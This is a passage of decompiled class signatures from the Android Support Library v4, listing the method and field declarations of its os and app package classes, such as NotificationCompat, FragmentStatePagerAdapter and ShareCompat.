android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2 implements android.os.Parcelable$ClassLoaderCreator {
    private final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompatCreatorHoneycombMR2(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object createFromParcel(android.os.Parcel, ClassLoader);
    public Object[] newArray(int);
}










android/support/v4/os/EnvironmentCompatKitKat.class


package android.support.v4.os;
synchronized class EnvironmentCompatKitKat {
    void EnvironmentCompatKitKat();
    public static String getStorageState(java.io.File);
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2Stub {
    void ParcelableCompatCreatorHoneycombMR2Stub();
    static android.os.Parcelable$Creator instantiate(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/ParcelableCompatCreatorCallbacks.class


package android.support.v4.os;
public abstract interface ParcelableCompatCreatorCallbacks {
    public abstract Object createFromParcel(android.os.Parcel, ClassLoader);
    public abstract Object[] newArray(int);
}










android/support/v4/os/ParcelableCompat$CompatCreator.class


package android.support.v4.os;
synchronized class ParcelableCompat$CompatCreator implements android.os.Parcelable$Creator {
    final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompat$CompatCreator(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object[] newArray(int);
}










android/support/v4/os/AsyncTaskCompatHoneycomb.class


package android.support.v4.os;
synchronized class AsyncTaskCompatHoneycomb {
    void AsyncTaskCompatHoneycomb();
    static transient void executeParallel(android.os.AsyncTask, Object[]);
}










android/support/v4/os/ParcelableCompat.class


package android.support.v4.os;
public synchronized class ParcelableCompat {
    public void ParcelableCompat();
    public static android.os.Parcelable$Creator newCreator(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/EnvironmentCompat.class


package android.support.v4.os;
public synchronized class EnvironmentCompat {
    private static final String TAG = EnvironmentCompat;
    public static final String MEDIA_UNKNOWN = unknown;
    public void EnvironmentCompat();
    public static String getStorageState(java.io.File);
}










android/support/v4/app/RemoteInput$Impl.class


package android.support.v4.app;
abstract interface RemoteInput$Impl {
    public abstract android.os.Bundle getResultsFromIntent(android.content.Intent);
    public abstract void addResultsToIntent(RemoteInput[], android.content.Intent, android.os.Bundle);
}










android/support/v4/app/RemoteInputCompatApi20.class


package android.support.v4.app;
synchronized class RemoteInputCompatApi20 {
    void RemoteInputCompatApi20();
    static RemoteInputCompatBase$RemoteInput[] toCompat(android.app.RemoteInput[], RemoteInputCompatBase$RemoteInput$Factory);
    static android.app.RemoteInput[] fromCompat(RemoteInputCompatBase$RemoteInput[]);
    static android.os.Bundle getResultsFromIntent(android.content.Intent);
    static void addResultsToIntent(RemoteInputCompatBase$RemoteInput[], android.content.Intent, android.os.Bundle);
}










android/support/v4/app/NotificationManagerCompat$Task.class


package android.support.v4.app;
abstract interface NotificationManagerCompat$Task {
    public abstract void send(INotificationSideChannel) throws android.os.RemoteException;
}










android/support/v4/app/TaskStackBuilderHoneycomb.class


package android.support.v4.app;
synchronized class TaskStackBuilderHoneycomb {
    void TaskStackBuilderHoneycomb();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int);
}










android/support/v4/app/NotificationManagerCompatIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationManagerCompatIceCreamSandwich {
    static final int SIDE_CHANNEL_BIND_FLAGS = 33;
    void NotificationManagerCompatIceCreamSandwich();
}










android/support/v4/app/FragmentState$1.class


package android.support.v4.app;
final synchronized class FragmentState$1 implements android.os.Parcelable$Creator {
    void FragmentState$1();
    public FragmentState createFromParcel(android.os.Parcel);
    public FragmentState[] newArray(int);
}










android/support/v4/app/NotificationCompatKitKat.class


package android.support.v4.app;
synchronized class NotificationCompatKitKat {
    void NotificationCompatKitKat();
    public static android.os.Bundle getExtras(android.app.Notification);
    public static int getActionCount(android.app.Notification);
    public static NotificationCompatBase$Action getAction(android.app.Notification, int, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    public static boolean getLocalOnly(android.app.Notification);
    public static String getGroup(android.app.Notification);
    public static boolean isGroupSummary(android.app.Notification);
    public static String getSortKey(android.app.Notification);
}










android/support/v4/app/NotificationManagerCompat$SideChannelManager.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$SideChannelManager implements android.os.Handler$Callback, android.content.ServiceConnection {
    private static final int MSG_QUEUE_TASK = 0;
    private static final int MSG_SERVICE_CONNECTED = 1;
    private static final int MSG_SERVICE_DISCONNECTED = 2;
    private static final int MSG_RETRY_LISTENER_QUEUE = 3;
    private static final String KEY_BINDER = binder;
    private final android.content.Context mContext;
    private final android.os.HandlerThread mHandlerThread;
    private final android.os.Handler mHandler;
    private final java.util.Map mRecordMap;
    private java.util.Set mCachedEnabledPackages;
    public void NotificationManagerCompat$SideChannelManager(android.content.Context);
    public void queueTask(NotificationManagerCompat$Task);
    public boolean handleMessage(android.os.Message);
    private void handleQueueTask(NotificationManagerCompat$Task);
    private void handleServiceConnected(android.content.ComponentName, android.os.IBinder);
    private void handleServiceDisconnected(android.content.ComponentName);
    private void handleRetryListenerQueue(android.content.ComponentName);
    public void onServiceConnected(android.content.ComponentName, android.os.IBinder);
    public void onServiceDisconnected(android.content.ComponentName);
    private void updateListenerMap();
    private boolean ensureServiceBound(NotificationManagerCompat$SideChannelManager$ListenerRecord);
    private void ensureServiceUnbound(NotificationManagerCompat$SideChannelManager$ListenerRecord);
    private void scheduleListenerRetry(NotificationManagerCompat$SideChannelManager$ListenerRecord);
    private void processListenerQueue(NotificationManagerCompat$SideChannelManager$ListenerRecord);
}










android/support/v4/app/NavUtils$NavUtilsImplBase.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplBase implements NavUtils$NavUtilsImpl {
    void NavUtils$NavUtilsImplBase();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/ShareCompatICS.class


package android.support.v4.app;
synchronized class ShareCompatICS {
    private static final String HISTORY_FILENAME_PREFIX = .sharecompat_;
    void ShareCompatICS();
    public static void configureMenuItem(android.view.MenuItem, android.app.Activity, android.content.Intent);
}










android/support/v4/app/Fragment$SavedState.class


package android.support.v4.app;
public synchronized class Fragment$SavedState implements android.os.Parcelable {
    final android.os.Bundle mState;
    public static final android.os.Parcelable$Creator CREATOR;
    void Fragment$SavedState(android.os.Bundle);
    void Fragment$SavedState(android.os.Parcel, ClassLoader);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/ShareCompatJB.class


package android.support.v4.app;
synchronized class ShareCompatJB {
    void ShareCompatJB();
    public static String escapeHtml(CharSequence);
}










android/support/v4/app/ActionBarDrawerToggle.class


package android.support.v4.app;
public synchronized class ActionBarDrawerToggle implements android.support.v4.widget.DrawerLayout$DrawerListener {
    private static final ActionBarDrawerToggle$ActionBarDrawerToggleImpl IMPL;
    private static final float TOGGLE_DRAWABLE_OFFSET = 0.33333334;
    private static final int ID_HOME = 16908332;
    private final android.app.Activity mActivity;
    private final ActionBarDrawerToggle$Delegate mActivityImpl;
    private final android.support.v4.widget.DrawerLayout mDrawerLayout;
    private boolean mDrawerIndicatorEnabled;
    private boolean mHasCustomUpIndicator;
    private android.graphics.drawable.Drawable mHomeAsUpIndicator;
    private android.graphics.drawable.Drawable mDrawerImage;
    private ActionBarDrawerToggle$SlideDrawable mSlider;
    private final int mDrawerImageResource;
    private final int mOpenDrawerContentDescRes;
    private final int mCloseDrawerContentDescRes;
    private Object mSetIndicatorInfo;
    public void ActionBarDrawerToggle(android.app.Activity, android.support.v4.widget.DrawerLayout, int, int, int);
    private static boolean assumeMaterial(android.content.Context);
    public void ActionBarDrawerToggle(android.app.Activity, android.support.v4.widget.DrawerLayout, boolean, int, int, int);
    public void syncState();
    public void setHomeAsUpIndicator(android.graphics.drawable.Drawable);
    public void setHomeAsUpIndicator(int);
    public void setDrawerIndicatorEnabled(boolean);
    public boolean isDrawerIndicatorEnabled();
    public void onConfigurationChanged(android.content.res.Configuration);
    public boolean onOptionsItemSelected(android.view.MenuItem);
    public void onDrawerSlide(android.view.View, float);
    public void onDrawerOpened(android.view.View);
    public void onDrawerClosed(android.view.View);
    public void onDrawerStateChanged(int);
    android.graphics.drawable.Drawable getThemeUpIndicator();
    void setActionBarUpIndicator(android.graphics.drawable.Drawable, int);
    void setActionBarDescription(int);
    static void <clinit>();
}










android/support/v4/app/INotificationSideChannel$Stub.class


package android.support.v4.app;
public abstract synchronized class INotificationSideChannel$Stub extends android.os.Binder implements INotificationSideChannel {
    private static final String DESCRIPTOR = android.support.v4.app.INotificationSideChannel;
    static final int TRANSACTION_notify = 1;
    static final int TRANSACTION_cancel = 2;
    static final int TRANSACTION_cancelAll = 3;
    public void INotificationSideChannel$Stub();
    public static INotificationSideChannel asInterface(android.os.IBinder);
    public android.os.IBinder asBinder();
    public boolean onTransact(int, android.os.Parcel, android.os.Parcel, int) throws android.os.RemoteException;
}










android/support/v4/app/NotificationCompat$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompat$Builder {
    private static final int MAX_CHARSEQUENCE_LENGTH = 5120;
    android.content.Context mContext;
    CharSequence mContentTitle;
    CharSequence mContentText;
    android.app.PendingIntent mContentIntent;
    android.app.PendingIntent mFullScreenIntent;
    android.widget.RemoteViews mTickerView;
    android.graphics.Bitmap mLargeIcon;
    CharSequence mContentInfo;
    int mNumber;
    int mPriority;
    boolean mShowWhen;
    boolean mUseChronometer;
    NotificationCompat$Style mStyle;
    CharSequence mSubText;
    int mProgressMax;
    int mProgress;
    boolean mProgressIndeterminate;
    String mGroupKey;
    boolean mGroupSummary;
    String mSortKey;
    java.util.ArrayList mActions;
    boolean mLocalOnly;
    String mCategory;
    android.os.Bundle mExtras;
    int mColor;
    int mVisibility;
    android.app.Notification mPublicVersion;
    android.app.Notification mNotification;
    public java.util.ArrayList mPeople;
    public void NotificationCompat$Builder(android.content.Context);
    public NotificationCompat$Builder setWhen(long);
    public NotificationCompat$Builder setShowWhen(boolean);
    public NotificationCompat$Builder setUsesChronometer(boolean);
    public NotificationCompat$Builder setSmallIcon(int);
    public NotificationCompat$Builder setSmallIcon(int, int);
    public NotificationCompat$Builder setContentTitle(CharSequence);
    public NotificationCompat$Builder setContentText(CharSequence);
    public NotificationCompat$Builder setSubText(CharSequence);
    public NotificationCompat$Builder setNumber(int);
    public NotificationCompat$Builder setContentInfo(CharSequence);
    public NotificationCompat$Builder setProgress(int, int, boolean);
    public NotificationCompat$Builder setContent(android.widget.RemoteViews);
    public NotificationCompat$Builder setContentIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setDeleteIntent(android.app.PendingIntent);
    public NotificationCompat$Builder setFullScreenIntent(android.app.PendingIntent, boolean);
    public NotificationCompat$Builder setTicker(CharSequence);
    public NotificationCompat$Builder setTicker(CharSequence, android.widget.RemoteViews);
    public NotificationCompat$Builder setLargeIcon(android.graphics.Bitmap);
    public NotificationCompat$Builder setSound(android.net.Uri);
    public NotificationCompat$Builder setSound(android.net.Uri, int);
    public NotificationCompat$Builder setVibrate(long[]);
    public NotificationCompat$Builder setLights(int, int, int);
    public NotificationCompat$Builder setOngoing(boolean);
    public NotificationCompat$Builder setOnlyAlertOnce(boolean);
    public NotificationCompat$Builder setAutoCancel(boolean);
    public NotificationCompat$Builder setLocalOnly(boolean);
    public NotificationCompat$Builder setCategory(String);
    public NotificationCompat$Builder setDefaults(int);
    private void setFlag(int, boolean);
    public NotificationCompat$Builder setPriority(int);
    public NotificationCompat$Builder addPerson(String);
    public NotificationCompat$Builder setGroup(String);
    public NotificationCompat$Builder setGroupSummary(boolean);
    public NotificationCompat$Builder setSortKey(String);
    public NotificationCompat$Builder addExtras(android.os.Bundle);
    public NotificationCompat$Builder setExtras(android.os.Bundle);
    public android.os.Bundle getExtras();
    public NotificationCompat$Builder addAction(int, CharSequence, android.app.PendingIntent);
    public NotificationCompat$Builder addAction(NotificationCompat$Action);
    public NotificationCompat$Builder setStyle(NotificationCompat$Style);
    public NotificationCompat$Builder setColor(int);
    public NotificationCompat$Builder setVisibility(int);
    public NotificationCompat$Builder setPublicVersion(android.app.Notification);
    public NotificationCompat$Builder extend(NotificationCompat$Extender);
    public android.app.Notification getNotification();
    public android.app.Notification build();
    protected static CharSequence limitCharSequenceLength(CharSequence);
}










android/support/v4/app/ActionBarDrawerToggle$Delegate.class


package android.support.v4.app;
public abstract interface ActionBarDrawerToggle$Delegate {
    public abstract android.graphics.drawable.Drawable getThemeUpIndicator();
    public abstract void setActionBarUpIndicator(android.graphics.drawable.Drawable, int);
    public abstract void setActionBarDescription(int);
}










android/support/v4/app/BackStackRecord$2.class


package android.support.v4.app;
synchronized class BackStackRecord$2 implements android.view.ViewTreeObserver$OnPreDrawListener {
    void BackStackRecord$2(BackStackRecord, android.view.View, Object, java.util.ArrayList, BackStackRecord$TransitionState, boolean, Fragment, Fragment);
    public boolean onPreDraw();
}










android/support/v4/app/FragmentActivity$1.class


package android.support.v4.app;
synchronized class FragmentActivity$1 extends android.os.Handler {
    void FragmentActivity$1(FragmentActivity);
    public void handleMessage(android.os.Message);
}










android/support/v4/app/FragmentStatePagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentStatePagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentStatePagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private java.util.ArrayList mSavedState;
    private java.util.ArrayList mFragments;
    private Fragment mCurrentPrimaryItem;
    public void FragmentStatePagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplJellybeanMR2.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplJellybeanMR2 implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplJellybeanMR2();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/ActivityOptionsCompatJB.class


package android.support.v4.app;
synchronized class ActivityOptionsCompatJB {
    private final android.app.ActivityOptions mActivityOptions;
    public static ActivityOptionsCompatJB makeCustomAnimation(android.content.Context, int, int);
    public static ActivityOptionsCompatJB makeScaleUpAnimation(android.view.View, int, int, int, int);
    public static ActivityOptionsCompatJB makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
    private void ActivityOptionsCompatJB(android.app.ActivityOptions);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompatJB);
}










android/support/v4/app/FragmentManagerState.class


package android.support.v4.app;
final synchronized class FragmentManagerState implements android.os.Parcelable {
    FragmentState[] mActive;
    int[] mAdded;
    BackStackState[] mBackStack;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentManagerState();
    public void FragmentManagerState(android.os.Parcel);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplBase.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplBase implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplBase();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplApi20.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplApi20 extends NotificationCompat$NotificationCompatImplKitKat {
    void NotificationCompat$NotificationCompatImplApi20();
    public android.app.Notification build(NotificationCompat$Builder);
    public NotificationCompat$Action getAction(android.app.Notification, int);
    public NotificationCompat$Action[] getActionsFromParcelableArrayList(java.util.ArrayList);
    public java.util.ArrayList getParcelableArrayListForActions(NotificationCompat$Action[]);
    public boolean getLocalOnly(android.app.Notification);
    public String getGroup(android.app.Notification);
    public boolean isGroupSummary(android.app.Notification);
    public String getSortKey(android.app.Notification);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplBase.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplBase implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplBase();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/NotificationCompatSideChannelService$1.class


package android.support.v4.app;
synchronized class NotificationCompatSideChannelService$1 {
}










android/support/v4/app/NotificationCompat$InboxStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$InboxStyle extends NotificationCompat$Style {
    java.util.ArrayList mTexts;
    public void NotificationCompat$InboxStyle();
    public void NotificationCompat$InboxStyle(NotificationCompat$Builder);
    public NotificationCompat$InboxStyle setBigContentTitle(CharSequence);
    public NotificationCompat$InboxStyle setSummaryText(CharSequence);
    public NotificationCompat$InboxStyle addLine(CharSequence);
}










android/support/v4/app/NoSaveStateFrameLayout.class


package android.support.v4.app;
synchronized class NoSaveStateFrameLayout extends android.widget.FrameLayout {
    static android.view.ViewGroup wrap(android.view.View);
    public void NoSaveStateFrameLayout(android.content.Context);
    protected void dispatchSaveInstanceState(android.util.SparseArray);
    protected void dispatchRestoreInstanceState(android.util.SparseArray);
}










android/support/v4/app/NotificationCompatJellybean$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompatJellybean$Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions {
    private android.app.Notification$Builder b;
    private final android.os.Bundle mExtras;
    private java.util.List mActionExtrasList;
    public void NotificationCompatJellybean$Builder(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, int, CharSequence, boolean, android.os.Bundle, String, boolean, String);
    public void addAction(NotificationCompatBase$Action);
    public android.app.Notification$Builder getBuilder();
    public android.app.Notification build();
}










android/support/v4/app/NotificationManagerCompatEclair.class


package android.support.v4.app;
synchronized class NotificationManagerCompatEclair {
    void NotificationManagerCompatEclair();
    static void cancelNotification(android.app.NotificationManager, String, int);
    public static void postNotification(android.app.NotificationManager, String, int, android.app.Notification);
}










android/support/v4/app/NotificationCompatBase$Action.class


package android.support.v4.app;
public abstract synchronized class NotificationCompatBase$Action {
    public void NotificationCompatBase$Action();
    protected abstract int getIcon();
    protected abstract CharSequence getTitle();
    protected abstract android.app.PendingIntent getActionIntent();
    protected abstract android.os.Bundle getExtras();
    protected abstract RemoteInputCompatBase$RemoteInput[] getRemoteInputs();
}










android/support/v4/app/NotificationManagerCompat$Impl.class


package android.support.v4.app;
abstract interface NotificationManagerCompat$Impl {
    public abstract void cancelNotification(android.app.NotificationManager, String, int);
    public abstract void postNotification(android.app.NotificationManager, String, int, android.app.Notification);
    public abstract int getSideChannelBindFlags();
}










android/support/v4/app/NotificationCompat$CarExtender$UnreadConversation.class


package android.support.v4.app;
public synchronized class NotificationCompat$CarExtender$UnreadConversation extends NotificationCompatBase$UnreadConversation {
    private final String[] mMessages;
    private final RemoteInput mRemoteInput;
    private final android.app.PendingIntent mReplyPendingIntent;
    private final android.app.PendingIntent mReadPendingIntent;
    private final String[] mParticipants;
    private final long mLatestTimestamp;
    static final NotificationCompatBase$UnreadConversation$Factory FACTORY;
    void NotificationCompat$CarExtender$UnreadConversation(String[], RemoteInput, android.app.PendingIntent, android.app.PendingIntent, String[], long);
    String[] getMessages();
    RemoteInput getRemoteInput();
    android.app.PendingIntent getReplyPendingIntent();
    android.app.PendingIntent getReadPendingIntent();
    String[] getParticipants();
    String getParticipant();
    long getLatestTimestamp();
    static void <clinit>();
}










android/support/v4/app/Fragment$SavedState$1.class


package android.support.v4.app;
final synchronized class Fragment$SavedState$1 implements android.os.Parcelable$Creator {
    void Fragment$SavedState$1();
    public Fragment$SavedState createFromParcel(android.os.Parcel);
    public Fragment$SavedState[] newArray(int);
}










android/support/v4/app/NotificationCompat$Action$1.class


package android.support.v4.app;
final synchronized class NotificationCompat$Action$1 implements NotificationCompatBase$Action$Factory {
    void NotificationCompat$Action$1();
    public NotificationCompat$Action build(int, CharSequence, android.app.PendingIntent, android.os.Bundle, RemoteInputCompatBase$RemoteInput[]);
    public NotificationCompat$Action[] newArray(int);
}










android/support/v4/app/FragmentTransitionCompat21$1.class


package android.support.v4.app;
final synchronized class FragmentTransitionCompat21$1 extends android.transition.Transition$EpicenterCallback {
    void FragmentTransitionCompat21$1(android.graphics.Rect);
    public android.graphics.Rect onGetEpicenter(android.transition.Transition);
}










android/support/v4/app/BackStackRecord$3.class


package android.support.v4.app;
synchronized class BackStackRecord$3 implements android.view.ViewTreeObserver$OnPreDrawListener {
    void BackStackRecord$3(BackStackRecord, android.view.View, BackStackRecord$TransitionState, int, Object);
    public boolean onPreDraw();
}










android/support/v4/app/BackStackRecord$TransitionState.class


package android.support.v4.app;
public synchronized class BackStackRecord$TransitionState {
    public android.support.v4.util.ArrayMap nameOverrides;
    public java.util.ArrayList hiddenFragmentViews;
    public FragmentTransitionCompat21$EpicenterView enteringEpicenterView;
    public android.view.View nonExistentView;
    public void BackStackRecord$TransitionState(BackStackRecord);
}










android/support/v4/app/FragmentManagerImpl$5.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$5 implements android.view.animation.Animation$AnimationListener {
    void FragmentManagerImpl$5(FragmentManagerImpl, Fragment);
    public void onAnimationEnd(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
    public void onAnimationStart(android.view.animation.Animation);
}










android/support/v4/app/FragmentTransitionCompat21$ViewRetriever.class


package android.support.v4.app;
public abstract interface FragmentTransitionCompat21$ViewRetriever {
    public abstract android.view.View getView();
}










android/support/v4/app/NotificationManagerCompat$CancelTask.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$CancelTask implements NotificationManagerCompat$Task {
    final String packageName;
    final int id;
    final String tag;
    final boolean all;
    public void NotificationManagerCompat$CancelTask(String);
    public void NotificationManagerCompat$CancelTask(String, int, String);
    public void send(INotificationSideChannel) throws android.os.RemoteException;
    public String toString();
}










android/support/v4/app/NotificationCompatBase$UnreadConversation$Factory.class


package android.support.v4.app;
public abstract interface NotificationCompatBase$UnreadConversation$Factory {
    public abstract NotificationCompatBase$UnreadConversation build(String[], RemoteInputCompatBase$RemoteInput, android.app.PendingIntent, android.app.PendingIntent, String[], long);
}










android/support/v4/app/ActivityCompat21$SharedElementCallbackImpl.class


package android.support.v4.app;
synchronized class ActivityCompat21$SharedElementCallbackImpl extends android.app.SharedElementCallback {
    private ActivityCompat21$SharedElementCallback21 mCallback;
    public void ActivityCompat21$SharedElementCallbackImpl(ActivityCompat21$SharedElementCallback21);
    public void onSharedElementStart(java.util.List, java.util.List, java.util.List);
    public void onSharedElementEnd(java.util.List, java.util.List, java.util.List);
    public void onRejectSharedElements(java.util.List);
    public void onMapSharedElements(java.util.List, java.util.Map);
    public android.os.Parcelable onCaptureSharedElementSnapshot(android.view.View, android.graphics.Matrix, android.graphics.RectF);
    public android.view.View onCreateSnapshotView(android.content.Context, android.os.Parcelable);
}










android/support/v4/app/ActivityCompatJB.class


package android.support.v4.app;
synchronized class ActivityCompatJB {
    void ActivityCompatJB();
    public static void startActivity(android.content.Context, android.content.Intent, android.os.Bundle);
    public static void startActivityForResult(android.app.Activity, android.content.Intent, int, android.os.Bundle);
    public static void finishAffinity(android.app.Activity);
}










android/support/v4/app/BundleUtil.class


package android.support.v4.app;
synchronized class BundleUtil {
    void BundleUtil();
    public static android.os.Bundle[] getBundleArrayFromBundle(android.os.Bundle, String);
}










android/support/v4/app/NotificationManagerCompat$ImplIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$ImplIceCreamSandwich extends NotificationManagerCompat$ImplEclair {
    void NotificationManagerCompat$ImplIceCreamSandwich();
    public int getSideChannelBindFlags();
}










android/support/v4/app/BackStackState.class


package android.support.v4.app;
final synchronized class BackStackState implements android.os.Parcelable {
    final int[] mOps;
    final int mTransition;
    final int mTransitionStyle;
    final String mName;
    final int mIndex;
    final int mBreadCrumbTitleRes;
    final CharSequence mBreadCrumbTitleText;
    final int mBreadCrumbShortTitleRes;
    final CharSequence mBreadCrumbShortTitleText;
    final java.util.ArrayList mSharedElementSourceNames;
    final java.util.ArrayList mSharedElementTargetNames;
    public static final android.os.Parcelable$Creator CREATOR;
    public void BackStackState(FragmentManagerImpl, BackStackRecord);
    public void BackStackState(android.os.Parcel);
    public BackStackRecord instantiate(FragmentManagerImpl);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/RemoteInputCompatBase.class


package android.support.v4.app;
synchronized class RemoteInputCompatBase {
    void RemoteInputCompatBase();
}










android/support/v4/app/ShareCompat$IntentReader.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentReader {
    private static final String TAG = IntentReader;
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private String mCallingPackage;
    private android.content.ComponentName mCallingActivity;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentReader from(android.app.Activity);
    private void ShareCompat$IntentReader(android.app.Activity);
    public boolean isShareIntent();
    public boolean isSingleShare();
    public boolean isMultipleShare();
    public String getType();
    public CharSequence getText();
    public String getHtmlText();
    public android.net.Uri getStream();
    public android.net.Uri getStream(int);
    public int getStreamCount();
    public String[] getEmailTo();
    public String[] getEmailCc();
    public String[] getEmailBcc();
    public String getSubject();
    public String getCallingPackage();
    public android.content.ComponentName getCallingActivity();
    public android.graphics.drawable.Drawable getCallingActivityIcon();
    public android.graphics.drawable.Drawable getCallingApplicationIcon();
    public CharSequence getCallingApplicationLabel();
}










android/support/v4/app/ActivityOptionsCompat$ActivityOptionsImpl21.class


package android.support.v4.app;
synchronized class ActivityOptionsCompat$ActivityOptionsImpl21 extends ActivityOptionsCompat {
    private final ActivityOptionsCompat21 mImpl;
    void ActivityOptionsCompat$ActivityOptionsImpl21(ActivityOptionsCompat21);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/FragmentTransitionCompat21.class


package android.support.v4.app;
synchronized class FragmentTransitionCompat21 {
    void FragmentTransitionCompat21();
    public static String getTransitionName(android.view.View);
    public static Object cloneTransition(Object);
    public static Object captureExitingViews(Object, android.view.View, java.util.ArrayList, java.util.Map);
    public static void excludeTarget(Object, android.view.View, boolean);
    public static void beginDelayedTransition(android.view.ViewGroup, Object);
    public static void setEpicenter(Object, android.view.View);
    public static void addTransitionTargets(Object, Object, android.view.View, FragmentTransitionCompat21$ViewRetriever, android.view.View, FragmentTransitionCompat21$EpicenterView, java.util.Map, java.util.ArrayList, java.util.Map, java.util.ArrayList);
    public static Object mergeTransitions(Object, Object, Object, boolean);
    private static void setSharedElementEpicenter(android.transition.Transition, FragmentTransitionCompat21$EpicenterView);
    private static android.graphics.Rect getBoundsOnScreen(android.view.View);
    private static void captureTransitioningViews(java.util.ArrayList, android.view.View);
    public static void findNamedViews(java.util.Map, android.view.View);
    public static void cleanupTransitions(android.view.View, android.view.View, Object, java.util.ArrayList, Object, java.util.ArrayList, Object, java.util.ArrayList, Object, java.util.ArrayList, java.util.Map);
    public static void removeTargets(Object, java.util.ArrayList);
    public static void addTargets(Object, java.util.ArrayList);
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImplHC.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$ActionBarDrawerToggleImplHC implements ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    private void ActionBarDrawerToggle$ActionBarDrawerToggleImplHC();
    public android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/NotificationCompat$1.class


package android.support.v4.app;
synchronized class NotificationCompat$1 {
}










android/support/v4/app/RemoteInputCompatBase$RemoteInput.class


package android.support.v4.app;
public abstract synchronized class RemoteInputCompatBase$RemoteInput {
    public void RemoteInputCompatBase$RemoteInput();
    protected abstract String getResultKey();
    protected abstract CharSequence getLabel();
    protected abstract CharSequence[] getChoices();
    protected abstract boolean getAllowFreeFormInput();
    protected abstract android.os.Bundle getExtras();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplBase.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplBase implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplBase();
    public android.app.Notification build(NotificationCompat$Builder);
    public android.os.Bundle getExtras(android.app.Notification);
    public int getActionCount(android.app.Notification);
